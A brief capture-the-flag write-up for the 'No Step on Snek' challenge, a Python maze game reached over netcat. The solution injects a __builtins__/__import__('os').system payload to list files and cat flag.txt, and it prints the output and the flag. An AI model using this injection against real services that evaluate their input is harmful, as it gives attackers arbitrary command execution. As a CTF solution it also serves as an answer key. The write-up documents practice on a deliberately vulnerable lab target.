## No Step on Snek (75 Points)
### Problem```I heard you guys like python pwnablesnc umbccd.io 4000```
### SolutionBeing faced with a maze with some basic WASD move commands, you were asked to navigate through the maze to the end. I assumed from the beginning the input was exploitable.From previous CTFs, I immediately chanced my arm using builtins to try list the files in the current directory:
```python__builtins__.__dict__['__import__']("os").system("ls")```
Sure enough this returned the results before erroring out with a `NameError`
```flag.txt  nosteponsnek.pyTraceback (most recent call last):  File "/home/challuser/nosteponsnek.py", line 73, in <module>    __main__()  File "/home/challuser/nosteponsnek.py", line 69, in __main__    still_playing = make_move(maze)  File "/home/challuser/nosteponsnek.py", line 29, in make_move    raise NameErrorNameError```
Great! That was quite easy. Let's just cat the file and see if that's all we need?
```python__builtins__.__dict__['__import__']("os").system("cat flag.txt")```
```DawgCTF{bUt_iT'5_c@ll3d_1nput}Traceback (most recent call last):  File "/home/challuser/nosteponsnek.py", line 73, in <module>    __main__()  File "/home/challuser/nosteponsnek.py", line 69, in __main__    still_playing = make_move(maze)  File "/home/challuser/nosteponsnek.py", line 29, in make_move    raise NameErrorNameError```
Nice!
Flag: `DawgCTF{bUt_iT'5_c@ll3d_1nput}`